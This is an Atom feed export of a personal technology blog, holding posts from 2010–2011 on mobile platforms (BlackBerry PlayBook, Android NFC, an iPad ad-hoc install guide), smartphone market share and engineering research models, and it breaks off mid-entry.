<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7016582772676592992</id><updated>2012-02-16T20:01:55.298-05:00</updated><category term='Twine'/><category term='Sliding Puzzle'/><category term='Java Mobile'/><category term='LBS'/><category term='Performance'/><category term='eBooks'/><category term='Kaspersky Mobile Security'/><category term='DeviceAnywhere'/><category term='SQL Injection'/><category term='Semantic Web'/><category term='XML Parsing'/><category term='VMukti'/><category term='Java ME'/><category term='Ed Zander'/><category term='Windows'/><category term='Commercial'/><category term='Apple'/><category term='mobile design'/><category term='XHTML-MP'/><category term='RIA'/><category term='Chaos'/><category term='ROKR E8'/><category term='Testing'/><category term='Embedded'/><category term='Application Server'/><category term='Web Development'/><category term='TDD'/><category term='mobile patterns'/><category term='Agents'/><category term='Mobile Applications'/><category term='Wireless Developer&apos;s Journal'/><category term='Graphene'/><category term='user interface design'/><category term='Sony Ericsson'/><category term='Clover'/><category term='IBM'/><category term='NetBeans Mobility'/><category term='Forecasts'/><category term='Gaming'/><category term='Mobile Advocacy'/><category term='online presentation'/><category term='BOLT'/><category term='Rational ClearQuest'/><category term='Java EE'/><category term='Subversion'/><category term='Location-Based Services'/><category term='Java RTS'/><category term='Brain Surgery'/><category term='Salary'/><category term='Mojax'/><category term='Six Sigma'/><category term='SearchMonkey'/><category term='Design'/><category term='WML'/><category term='NetBeans'/><category term='SysML'/><category term='1videoConference'/><category term='Sets'/><category term='iPhone'/><category term='Firefox'/><category term='iTunes'/><category term='VMware'/><category term='Agile'/><category term='Product Specification'/><category term='Geoffrey Frost'/><category term='Eclipse'/><category term='Adobe ColdFusion'/><category term='Battery'/><category term='Rational Functional Tester'/><category term='AMDD'/><category term='RIM'/><category term='Python'/><category term='Sorting'/><category term='Mobile Platforms'/><category term='Microsoft'/><category term='Contest'/><category term='PC World'/><category term='Device Fragmentation'/><category term='Job Trends'/><category term='dimdim'/><category term='RTGC'/><category term='AndroMed'/><category term='Tutorial'/><category term='Apache Camel'/><category term='Oracle'/><category term='Puzzle'/><category term='Powerset'/><category term='One Pass to Production'/><category term='Finance'/><category term='Mobile Best Practices'/><category term='Consciousness'/><category term='Browsers'/><category term='ebXML'/><category term='Numair Faraz'/><category term='Android Developer Challenge'/><category term='MDD'/><category term='Dr. Dobb&apos;s'/><category term='Biology'/><category term='Mob4Fire'/><category term='WebEx'/><category term='mobile resources'/><category term='Comet'/><category term='Facebook'/><category term='Mobile Service Architecture'/><category term='web meeting'/><category term='Spanner'/><category term='HP'/><category term='JNI'/><category term='Continuous Integration'/><category term='Enterprise Integration Patterns'/><category term='Power Consumption'/><category term='Comic Strip'/><category term='Machine Intelligence'/><category term='Software Development'/><category term='IBM Rational AppScan'/><category term='GlassFish'/><category term='OMG'/><category term='Engineering'/><category term='OECD'/><category term='Motorola'/><category term='JHakw'/><category term='Google'/><category term='SQLX'/><category term='Open Source'/><category term='Project Capuchin'/><category term='UMLS'/><category term='MobileMonday'/><category term='Linux'/><category term='Phone Emulator'/><category term='Tools'/><category term='BigTable'/><category term='Samsung'/><category term='design concepts'/><category term='XMI'/><category term='FAU'/><category term='Erlang'/><category term='Corticon Business Rules Modeling'/><category term='pbwiki'/><category term='Software Engineering'/><category term='Airport'/><category term='TIOBE Software'/><category term='JSP'/><category term='C'/><category term='Amazon'/><category term='comic'/><category term='Advertising'/><category term='Jolt Award'/><category term='anti-theft'/><category term='Radiation Sensors'/><category term='HTTP'/><category term='MDA'/><category term='Scripting'/><category term='DOM'/><category term='Games'/><category term='xCBL'/><category term='Git'/><category term='Perforce'/><category term='Cocoa Touch'/><category term='DSL'/><category term='Design Council'/><category term='CRC'/><category term='Marketing'/><category term='Entropy'/><category term='Gartner'/><category term='IEEE Software'/><category term='RosettaNet'/><category term='RTSJ'/><category term='Edge'/><category term='Ericsson'/><category term='MySQL'/><category term='Adler32'/><category term='Nokia'/><category term='Application Performance'/><category term='Web Services'/><category term='XMLPullParser'/><category term='programming languages popularity'/><category term='Beautiful Code'/><category term='UML'/><category term='XML'/><category term='Java Developer&apos;s Journal'/><category term='PACA'/><category term='cellphone concepts'/><category term='OpenID'/><category term='SAX'/><category term='Mobile Marketing'/><category term='Code Collaborator'/><category term='Distributed Systems'/><category term='Frameworks'/><category term='Kapow Mashup Server'/><category term='Programming Languages'/><category term='IEEE Spectrum'/><category term='Open Web Foundation'/><category term='Java Applets'/><category term='HTML'/><category term='JSF'/><category term='Smartphones'/><category term='Web Applications'/><category term='requirements'/><category term='WebMD'/><category term='JavaScript'/><category term='XSS'/><category term='Source Code Management'/><category term='Mobile Front Controller'/><category term='simplicity'/><category term='SMS filtering'/><category term='wiki'/><category term='Robots'/><category term='Technology'/><category term='NFC'/><category term='Cell Phone'/><category term='Greg Brown'/><category term='IT'/><category term='iGoogle'/><category term='SCJP'/><category term='SCJA'/><category term='Security'/><category term='Stealther'/><category term='Oracle&apos;s ADF Faces'/><category term='xUML'/><category term='Yahoo Mail'/><category term='Programming'/><category term='C++'/><category term='Software Development Process'/><category term='Mashup'/><category term='social networking'/><category term='augmented reality'/><category term='Electronics'/><category term='LG'/><category term='Software'/><category term='O&apos;Reilly'/><category term='XHTML'/><category term='JUnit'/><category term='Android'/><category term='Operating System'/><category term='Yahoo'/><category term='Distribution'/><category term='Guice'/><category term='DotMobi'/><category term='Autonomic Computing'/><category term='Singularity'/><category term='Mobile'/><category term='Internet'/><category term='Emerging Technologies'/><category term='Android Market'/><category term='Music'/><category term='Gadgets'/><category term='Science'/><category term='Java'/><category term='BlackBerry'/><category term='Yoggie Gatekeeper Pico'/><category term='Symbian'/><category term='Google App Engine'/><category term='Humanitarian'/><category term='Sun'/><category term='Netbooks'/><category term='iPad'/><category term='FishEye'/><category term='Biomedicine'/><category term='Florida Atlantic University'/><category term='Huma Brain'/><category term='Metrics'/><category term='Books'/><category term='Object Oriented'/><title type='text'>Mihai Fonoage's Blog</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default?start-index=101&amp;max-results=100'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>137</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-1537249842300012415</id><published>2011-03-26T15:43:00.000-04:00</published><updated>2011-03-26T15:43:25.034-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Java ME'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><category scheme='http://www.blogger.com/atom/ns#' term='HTML'/><category scheme='http://www.blogger.com/atom/ns#' term='BlackBerry'/><title type='text'>Application Ecosystem for the BlackBerry PlayBook</title><content type='html'>According&amp;nbsp;to their&amp;nbsp;&lt;a href="http://press.rim.com/release.jsp?id=4935"&gt;press release&lt;/a&gt;,&amp;nbsp;RIM has officially announced the ecosystem for applications that will run on the PlayBook tablet. Below is a quote from the release:&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;BlackBerry PlayBook to support BlackBerry Java and Android apps&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Native C/C++ development support added, in addition to HTML5, Flash and AIR support&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Support from leading game engines: Ideaworks Labs (AirPlay) and Unity Technologies (Unity 3)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;BlackBerry PlayBook becomes a new market opportunity for all the developers who have already created over 25,000 BlackBerry Java apps and more than 200,000 Android apps&lt;/i&gt;&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;The most important part for me, and something that I've been hoping for a long time, is the added support for Android. What RIM was lacking was an application ecosystem. This will not be the case anymore. And it is not only about Android in the end. Moving away from Java ME is the first step (still need it for&amp;nbsp;existing&amp;nbsp;applications). When you can write applications using HTML, Flash, C/C++, Java ME, and Android, you can't go wrong. There is no other ecosystem out there that provides such a diversity.&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-1537249842300012415?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/1537249842300012415/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=1537249842300012415' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1537249842300012415'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1537249842300012415'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2011/03/application-ecosystem-for-blackberry.html' title='Application Ecosystem for the BlackBerry PlayBook'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4985582332985303932</id><published>2010-11-18T08:56:00.001-05:00</published><updated>2010-11-18T08:56:56.574-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Finance'/><category scheme='http://www.blogger.com/atom/ns#' term='Engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='IEEE Spectrum'/><category scheme='http://www.blogger.com/atom/ns#' term='Biology'/><title type='text'>Basic vs Applied Research - Linear vs Nonlinear Models</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;I was reading a &lt;a href="http://spectrum.ieee.org/at-work/tech-careers/book-review-the-essential-engineer-why-science-alone-will-not-solve-our-global-problems/"&gt;review&lt;/a&gt;&amp;nbsp;in IEEE Spectrum of Henry Petroski's "&lt;span class="Apple-style-span" style="font-weight: 500; line-height: 18px;"&gt;The Essential Engineer: Why Science Alone Will Not Solve Our Global Problems&lt;/span&gt;", and found several references to the &lt;i&gt;linear&lt;/i&gt; model of how research is being conducted in the U.S.:&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;"&lt;span class="Apple-style-span" style="font-weight: 500; line-height: 18px;"&gt;Part of the problem, he [&lt;/span&gt;Henry Petroski&lt;span class="Apple-style-span" style="font-weight: 500; line-height: 18px;"&gt;] says, is the &lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;b&gt;linear model&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: 500; line-height: 18px;"&gt; of technological progress: Basic research spawns applied research, which in turn fuels technological development. This model is wrong historically, and it undervalues the creative juices of good engineering ...&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: 500; line-height: 18px;"&gt;This &lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;b&gt;linear model&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: 500; line-height: 18px;"&gt; became ascendant in U.S. science policy after 1945 when Vannevar Bush submitted his famous report, “&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: 500; line-height: 18px;"&gt;&lt;a href="http://www.nsf.gov/od/lpa/nsf50/vbush1945.htm"&gt;Science—the Endless Frontier&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: 500; line-height: 18px;"&gt;”, which enhanced the prestige (and funding) of basic research at the expense of applied work.&lt;/span&gt;"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;I wrote in one of my &lt;a href="http://mihaifonoage.blogspot.com/2008/10/linearity-and-nonlinearity-in-biology.html"&gt;previous posts&lt;/a&gt;&amp;nbsp;about linearity and nonlinearity in biology, engineering, and financial systems, and how linear models (such as blood vessels in biology, waterfall model in engineering) have a negative impact on the systems where they are applied. The review of the book has the same underlying message, namely how moving away from the linear model of basic research towards the more practical approach of applied research (or development projects) has a greater outcome in terms of engineering advances.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4985582332985303932?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4985582332985303932/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4985582332985303932' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4985582332985303932'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4985582332985303932'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/11/basic-vs-applied-research-linear-vs.html' title='Basic vs Applied Research - Linear vs Nonlinear Models'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-1585806345837599362</id><published>2010-11-17T11:58:00.000-05:00</published><updated>2010-11-17T11:58:06.986-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='NFC'/><title type='text'>Android Ginerbread adds NFC support</title><content type='html'>Listening to the &lt;a href="http://www.web2summit.com/web2010/public/schedule/detail/16285"&gt;conversation&lt;/a&gt; with Eric Schmidt at the Web 2.0 Summit 2010, I was pleasantly surprised that the new Android 2.3 (called "Gingerbread"), will add support for &lt;a href="http://en.wikipedia.org/wiki/Near_Field_Communication"&gt;NFC&lt;/a&gt;, or Near Field Communication (I heard rumors about this in the past). There are many use cases that I can think of, the major one being using your phone for making payments. I said it in the past that the main reason I think NFC has not been adopted is because there was no major company/platform using it. Now there is.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-1585806345837599362?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/1585806345837599362/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=1585806345837599362' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1585806345837599362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1585806345837599362'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/11/android-ginerbread-adds-nfc-support.html' title='Android Ginerbread adds NFC support'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3800447714071499627</id><published>2010-10-26T08:51:00.000-04:00</published><updated>2010-10-26T08:51:44.745-04:00</updated><title type='text'>2010 Gadget Census</title><content type='html'>&lt;a href="http://www.retrevo.com/content/blog/2010/09/gadget-census-apportions-states-smartphone-ownership"&gt;Retrevo's 2010 Gadget Census&lt;/a&gt;&amp;nbsp;revealed what gadgets people were using in each state, with the summary of it captured in the image below:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i868.photobucket.com/albums/ab241/retrevostudies/Phones%20By%20State/report7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="180" src="http://i868.photobucket.com/albums/ab241/retrevostudies/Phones%20By%20State/report7.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3800447714071499627?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3800447714071499627/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3800447714071499627' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3800447714071499627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3800447714071499627'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/10/2010-gadget-census.html' title='2010 Gadget Census'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i868.photobucket.com/albums/ab241/retrevostudies/Phones%20By%20State/th_report7.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-8451591943192413340</id><published>2010-09-21T22:08:00.000-04:00</published><updated>2010-09-21T22:08:15.606-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='augmented reality'/><category scheme='http://www.blogger.com/atom/ns#' term='Smartphones'/><title type='text'>Articulated Naturality Web</title><content type='html'>Articulated Naturality Web, or ANW, is what comes after augmented reality, the next level, the next phase if you will. There's a short video posted on &lt;a href="http://www.engadget.com/2010/09/21/qpcs-articulated-naturality-web-looks-to-one-up-augmented-reali/"&gt;engadget&lt;/a&gt;&amp;nbsp;(and at the end of this blog post)&amp;nbsp;that shows some of the features of ANW. For me, it's amazing because it fuses sensors, location, internet, image processing, and much more into one technology that gives meaning to the&amp;nbsp;surroundings by means of your smartphone. Imagine sitting outside of an hotel, and looking at the available rooms, how they look inside, prices, and booking information. Blows my mind what we can achieve today with the&amp;nbsp;amount&amp;nbsp;of information and the technology available to us.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;iframe frameborder="0" height="338" src="http://player.vimeo.com/video/14968828" width="601"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/14968828"&gt;QPC - Articulated Naturality Web&lt;/a&gt; from &lt;a href="http://vimeo.com/user4176018"&gt;Justin Montgomery&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-8451591943192413340?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/8451591943192413340/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=8451591943192413340' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8451591943192413340'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8451591943192413340'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/09/articulated-naturality-web.html' title='Articulated Naturality Web'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4830110950057006182</id><published>2010-08-26T08:46:00.002-04:00</published><updated>2010-08-26T09:06:40.828-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Distribution'/><category scheme='http://www.blogger.com/atom/ns#' term='iTunes'/><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='iPad'/><category scheme='http://www.blogger.com/atom/ns#' term='Mobile'/><title type='text'>Installing iPhone/iPad application ad-hoc</title><content type='html'>At my current job, I had to&amp;nbsp;remotely&amp;nbsp;install some beta versions of the iPad app for some clients, before&amp;nbsp;the&amp;nbsp;app was actually released on iTunes. There are several steps that one has to take in order to achieve that (assuming you have followed some of them that describe creating Certificates, App IDs, etc):&lt;br /&gt;&lt;ol&gt;&lt;li&gt;In your iPhone Developer account, go to the iPhone Provisioning Portal, the to Devices, and add the iPad device to the Current Registered Devices section. You have to know the Device UDID (40 characters that can be copied form iTunes when you have the iPad&amp;nbsp;plugged&amp;nbsp;into your computer).&lt;/li&gt;&lt;li&gt;Add the newly created device to the Distribution Provisioning Profile.&amp;nbsp;&lt;/li&gt;&lt;li&gt;On you station, drag-and-drop the&amp;nbsp;distributed&amp;nbsp;provisioning profile into XCode.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Under XCode, change both your app's and your target's build properties to use the new distribution provisioning profile.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Delete the old Entitlements.plist file and create a new one.&lt;/li&gt;&lt;li&gt;Change your settings so that XCode uses Device as the Active SDK, and Distribution as the Active Configuration.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Build your app, then zip the executable.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Export your private key and the developer identity certificate and import them into your client's Keychain (you&amp;nbsp;might&amp;nbsp;also need to export-import the AppleWWDRCA.cer file to your client). Finally, add the iPhone distribution certificate to the Keychain.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Download the new distributed provisioning profile and drag-and-drop it into your customer's iTunes app (either drop it on the iTunes icon, or in the App section).&amp;nbsp;&lt;/li&gt;&lt;li&gt;Un-zip your application and drag-and-drop it into the app section of your customer iTunes (if the Apps section is not visible, go into iTunes -&amp;gt; Preferences and click on the checkbox marked as Apps).&amp;nbsp;&lt;/li&gt;&lt;li&gt;Synchronize iTunes with the iPad to transfer the app from iTunes to your client's iPad.&amp;nbsp;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Hope it's going to help some of you. Enjoy!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4830110950057006182?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4830110950057006182/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4830110950057006182' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4830110950057006182'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4830110950057006182'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/08/installing-iphoneipad-application-ad.html' title='Installing iPhone/iPad application ad-hoc'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-6361433324613192830</id><published>2010-07-22T13:55:00.000-04:00</published><updated>2010-07-22T13:55:45.091-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='BlackBerry'/><title type='text'>Introducing BlackBerry 6</title><content type='html'>&lt;object height="385" width="640"&gt;&lt;param name="movie" value="http://www.youtube.com/v/DlO8KMv7Bx4&amp;amp;hl=en_US&amp;amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/DlO8KMv7Bx4&amp;amp;hl=en_US&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-6361433324613192830?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/6361433324613192830/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=6361433324613192830' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6361433324613192830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6361433324613192830'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/07/introducing-blackberry-6.html' title='Introducing BlackBerry 6'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3509231493383028960</id><published>2010-07-04T13:14:00.000-04:00</published><updated>2010-07-04T13:14:23.938-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Smartphones'/><title type='text'>Smartphone Market Share - Q1 2010</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;Smartphone Market Share for Q1 2010 (Source: The Nielsen Company):&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://blog.nielsen.com/nielsenwire/wp-content/uploads/2010/06/smartphone-share1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://blog.nielsen.com/nielsenwire/wp-content/uploads/2010/06/smartphone-share1.png" width="283" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3509231493383028960?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3509231493383028960/comments/default' title='Post 